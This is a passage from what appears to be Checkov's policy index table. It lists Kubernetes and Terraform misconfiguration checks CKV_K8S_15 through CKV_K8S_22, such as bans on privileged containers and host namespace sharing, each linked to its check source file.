[ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py) | | 6782 | CKV_K8S_15 | resource | ReplicaSet | Image Pull Policy should be Always | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py) | | 6783 | CKV_K8S_15 | resource | ReplicationController | Image Pull Policy should be Always | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py) | | 6784 | CKV_K8S_15 | resource | StatefulSet | Image Pull Policy should be Always | Kubernetes | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py) | | 6785 | CKV_K8S_15 | resource | kubernetes_deployment | Image Pull Policy should be Always | Terraform | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImagePullPolicyAlways.py) | | 6786 | CKV_K8S_15 | resource | kubernetes_deployment_v1 | Image Pull Policy should be Always | Terraform | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImagePullPolicyAlways.py) | | 6787 | CKV_K8S_15 | resource | kubernetes_pod | Image Pull Policy should be Always | Terraform | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImagePullPolicyAlways.py) | | 6788 | CKV_K8S_15 | resource | kubernetes_pod_v1 | Image Pull Policy should be Always | Terraform | [ImagePullPolicyAlways.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ImagePullPolicyAlways.py) | | 6789 | CKV_K8S_16 | resource | CronJob | Container should not be privileged | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py) | | 6790 | CKV_K8S_16 | resource | DaemonSet | Container should not be privileged | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py) | | 6791 | CKV_K8S_16 | resource | Deployment | Container should not be privileged | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py) | | 6792 | CKV_K8S_16 | resource | DeploymentConfig | Container should not be privileged | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py) | | 6793 | CKV_K8S_16 | resource | Job | Container should not be privileged | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py) | | 6794 | CKV_K8S_16 | resource | Pod | Container should not be privileged | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py) | | 6795 | CKV_K8S_16 | resource | PodTemplate | Container should not be privileged | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py) | | 6796 | CKV_K8S_16 | resource | ReplicaSet | Container should not be privileged | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py) | | 6797 | CKV_K8S_16 | resource | ReplicationController | Container should not be privileged | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py) | | 6798 | CKV_K8S_16 | resource | StatefulSet | Container should not be privileged | Kubernetes | [PrivilegedContainers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PrivilegedContainers.py) | | 6799 | CKV_K8S_16 | resource | kubernetes_deployment | Do not admit privileged containers | Terraform | [PrivilegedContainer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PrivilegedContainer.py) | | 6800 | CKV_K8S_16 | resource | kubernetes_deployment_v1 | Do not admit privileged containers | Terraform | [PrivilegedContainer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PrivilegedContainer.py) | | 6801 | CKV_K8S_16 | resource | kubernetes_pod | Do not admit privileged containers | Terraform | [PrivilegedContainer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PrivilegedContainer.py) | | 6802 | CKV_K8S_16 | resource | kubernetes_pod_v1 | Do not admit privileged containers | Terraform | [PrivilegedContainer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/PrivilegedContainer.py) | | 6803 | CKV_K8S_17 | resource | CronJob | Containers should not share the host process ID namespace | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py) | | 6804 | CKV_K8S_17 | resource | DaemonSet | Containers should not share the host process ID namespace | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py) | | 6805 | CKV_K8S_17 | resource | Deployment | Containers should not share the host process ID namespace | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py) | | 6806 | CKV_K8S_17 | resource | Job | Containers should not share the host process ID namespace | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py) | | 6807 | CKV_K8S_17 | resource | Pod | Containers should not share the host process ID namespace | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py) | | 6808 | CKV_K8S_17 | resource | ReplicaSet | Containers should not share the host process ID namespace | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py) | | 6809 | CKV_K8S_17 | resource | ReplicationController | Containers should not share the host process ID namespace | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py) | | 6810 | CKV_K8S_17 | resource | StatefulSet | Containers should not share the host process ID namespace | Kubernetes | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostPID.py) | | 6811 | CKV_K8S_17 | resource | kubernetes_deployment | Do not admit containers wishing to share the host process ID namespace | Terraform | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostPID.py) | | 6812 | CKV_K8S_17 | resource | kubernetes_deployment_v1 | Do not admit containers wishing to share the host process ID namespace | Terraform | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostPID.py) | | 6813 | CKV_K8S_17 | resource | kubernetes_pod | Do not admit containers wishing to share the host process ID namespace | Terraform | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostPID.py) | | 6814 | CKV_K8S_17 | resource | kubernetes_pod_v1 | Do not admit containers wishing to share the host process ID namespace | Terraform | [ShareHostPID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostPID.py) | | 6815 | CKV_K8S_18 | resource | CronJob | Containers should not share the host IPC namespace | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py) | | 6816 | CKV_K8S_18 | resource | DaemonSet | Containers should not share the host IPC namespace | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py) | | 6817 | CKV_K8S_18 | resource | Deployment | Containers should not share the host IPC namespace | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py) | | 6818 | CKV_K8S_18 | resource | Job | Containers should not share the host IPC namespace | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py) | | 6819 | CKV_K8S_18 | resource | Pod | Containers should not share the host IPC namespace | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py) | | 6820 | CKV_K8S_18 | resource | ReplicaSet | Containers should not share the host IPC namespace | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py) | | 6821 | CKV_K8S_18 | resource | ReplicationController | Containers should not share the host IPC namespace | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py) | | 6822 | CKV_K8S_18 | resource | StatefulSet | Containers should not share the host IPC namespace | Kubernetes | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py) | | 6823 | CKV_K8S_18 | resource | kubernetes_deployment | Do not admit containers wishing to share the host IPC namespace | Terraform | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostIPC.py) | | 6824 | CKV_K8S_18 | resource | kubernetes_deployment_v1 | Do not admit containers wishing to share the host IPC namespace | Terraform | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostIPC.py) | | 6825 | CKV_K8S_18 | resource | kubernetes_pod | Do not admit containers wishing to share the host IPC namespace | Terraform | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostIPC.py) | | 6826 | CKV_K8S_18 | resource | kubernetes_pod_v1 | Do not admit containers wishing to share the host IPC namespace | Terraform | [ShareHostIPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ShareHostIPC.py) | | 6827 | CKV_K8S_19 | resource | CronJob | Containers should not share the host network namespace | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py) | | 6828 | CKV_K8S_19 | resource | DaemonSet | Containers should not share the host network namespace | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py) | | 6829 | CKV_K8S_19 | resource | Deployment | Containers should not share the host network namespace | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py) | | 6830 | CKV_K8S_19 | resource | Job | Containers should not share the host network namespace | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py) | | 6831 | CKV_K8S_19 | resource | Pod | Containers should not share the host network namespace | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py) | | 6832 | CKV_K8S_19 | resource | ReplicaSet | Containers should not share the host network namespace | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py) | | 6833 | CKV_K8S_19 | resource | ReplicationController | Containers should not share the host network namespace | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py) | | 6834 | CKV_K8S_19 | resource | StatefulSet | Containers should not share the host network namespace | Kubernetes | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py) | | 6835 | CKV_K8S_19 | resource | kubernetes_deployment | Do not admit containers wishing to share the host network namespace | Terraform | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespace.py) | | 6836 | CKV_K8S_19 | resource | kubernetes_deployment_v1 | Do not admit containers wishing to share the host network namespace | Terraform | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespace.py) | | 6837 | CKV_K8S_19 | resource | kubernetes_pod | Do not admit containers wishing to share the host network namespace | Terraform | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespace.py) | | 6838 | CKV_K8S_19 | resource | kubernetes_pod_v1 | Do not admit containers wishing to share the host network namespace | Terraform | [SharedHostNetworkNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/SharedHostNetworkNamespace.py) | | 6839 | CKV_K8S_20 | resource | CronJob | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py) | | 6840 | CKV_K8S_20 | resource | DaemonSet | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py) | | 6841 | CKV_K8S_20 | resource | Deployment | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py) | | 6842 | CKV_K8S_20 | resource | DeploymentConfig | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py) | | 6843 | CKV_K8S_20 | resource | Job | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py) | | 6844 | CKV_K8S_20 | resource | Pod | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py) | | 6845 | CKV_K8S_20 | resource | PodTemplate | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py) | | 6846 | CKV_K8S_20 | resource | ReplicaSet | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py) | | 6847 | CKV_K8S_20 | resource | ReplicationController | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py) | | 6848 | CKV_K8S_20 | resource | StatefulSet | Containers should not run with allowPrivilegeEscalation | Kubernetes | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py) | | 6849 | CKV_K8S_20 | resource | kubernetes_deployment | Containers should not run with allowPrivilegeEscalation | Terraform | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalation.py) | | 6850 | CKV_K8S_20 | resource | kubernetes_deployment_v1 | Containers should not run with allowPrivilegeEscalation | Terraform | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalation.py) | | 6851 | CKV_K8S_20 | resource | kubernetes_pod | Containers should not run with allowPrivilegeEscalation | Terraform | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalation.py) | | 6852 | CKV_K8S_20 | resource | kubernetes_pod_v1 | Containers should not run with allowPrivilegeEscalation | Terraform | [AllowPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/AllowPrivilegeEscalation.py) | | 6853 | CKV_K8S_21 | resource | ConfigMap | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 6854 | CKV_K8S_21 | resource | CronJob | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 6855 | CKV_K8S_21 | resource | DaemonSet | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 6856 | CKV_K8S_21 | resource | Deployment | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 6857 | CKV_K8S_21 | resource | Ingress | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 6858 | CKV_K8S_21 | resource | Job | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 6859 | CKV_K8S_21 | resource | Pod | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 6860 | CKV_K8S_21 | resource | ReplicaSet | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 6861 | CKV_K8S_21 | resource | ReplicationController | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 6862 | CKV_K8S_21 | resource | Role | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 6863 | CKV_K8S_21 | resource | RoleBinding | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 6864 | CKV_K8S_21 | resource | Secret | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 6865 | CKV_K8S_21 | resource | Service | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 6866 | CKV_K8S_21 | resource | ServiceAccount | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 6867 | CKV_K8S_21 | resource | StatefulSet | The default namespace should not be used | Kubernetes | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py) | | 6868 | CKV_K8S_21 | resource | kubernetes_config_map | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6869 | CKV_K8S_21 | resource | kubernetes_config_map_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6870 | CKV_K8S_21 | resource | kubernetes_cron_job | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6871 | CKV_K8S_21 | resource | kubernetes_cron_job_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6872 | CKV_K8S_21 | resource | kubernetes_daemon_set_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6873 | CKV_K8S_21 | resource | kubernetes_daemonset | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6874 | CKV_K8S_21 | resource | kubernetes_deployment | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6875 | CKV_K8S_21 | resource | kubernetes_deployment_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6876 | CKV_K8S_21 | resource | kubernetes_ingress | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6877 | CKV_K8S_21 | resource | kubernetes_ingress_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6878 | CKV_K8S_21 | resource | kubernetes_job | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6879 | CKV_K8S_21 | resource | kubernetes_job_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6880 | CKV_K8S_21 | resource | kubernetes_pod | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6881 | CKV_K8S_21 | resource | kubernetes_pod_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6882 | CKV_K8S_21 | resource | kubernetes_replication_controller | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6883 | CKV_K8S_21 | resource | kubernetes_replication_controller_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6884 | CKV_K8S_21 | resource | kubernetes_role_binding | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6885 | CKV_K8S_21 | resource | kubernetes_role_binding_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6886 | CKV_K8S_21 | resource | kubernetes_secret | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6887 | CKV_K8S_21 | resource | kubernetes_secret_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6888 | CKV_K8S_21 | resource | kubernetes_service | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6889 | CKV_K8S_21 | resource | kubernetes_service_account | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6890 | CKV_K8S_21 | resource | kubernetes_service_account_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6891 | CKV_K8S_21 | resource | kubernetes_service_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6892 | CKV_K8S_21 | resource | kubernetes_stateful_set | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6893 | CKV_K8S_21 | resource | kubernetes_stateful_set_v1 | The default namespace should not be used | Terraform | [DefaultNamespace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DefaultNamespace.py) | | 6894 | CKV_K8S_22 | resource | CronJob | Use read-only filesystem for containers where possible | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py) | | 6895 | CKV_K8S_22 | resource | DaemonSet | Use read-only filesystem for containers where possible | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py) | | 6896 | CKV_K8S_22 | resource | Deployment | Use read-only filesystem for containers where possible | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py) | | 6897 | CKV_K8S_22 | resource | DeploymentConfig | Use read-only filesystem for containers where possible | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py) | | 6898 | CKV_K8S_22 | resource | Job | Use read-only filesystem for containers where possible | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py) | | 6899 | CKV_K8S_22 | resource | Pod | Use read-only filesystem for containers where possible | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py) | | 6900 | CKV_K8S_22 | resource | PodTemplate | Use read-only filesystem for containers where possible | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py) | | 6901 | CKV_K8S_22 | resource | ReplicaSet | Use read-only filesystem for containers where possible | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py) | | 6902 | CKV_K8S_22 | resource | ReplicationController | Use read-only filesystem for containers where possible | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py) | | 6903 | CKV_K8S_22 | resource | StatefulSet | Use read-only filesystem for containers where possible | Kubernetes | [ReadOnlyFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ReadOnlyFilesystem.py) | | 6904 | CKV_K8S_22 | resource | kubernetes_deployment | Use read-only filesystem for containers where possible | Terraform | [ReadonlyRootFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadonlyRootFilesystem.py) | | 6905 | CKV_K8S_22 | resource | kubernetes_deployment_v1 | Use read-only filesystem for containers where possible | Terraform | [ReadonlyRootFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadonlyRootFilesystem.py) | | 6906 | CKV_K8S_22 | resource | kubernetes_pod | Use read-only filesystem for containers where possible | Terraform | [ReadonlyRootFilesystem.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/ReadonlyRootFilesystem.py) | | 6907 | CKV_K8S_22 | resource | kubernetes_pod_v1 | Use read-only filesystem for containers where possible | Terraform | 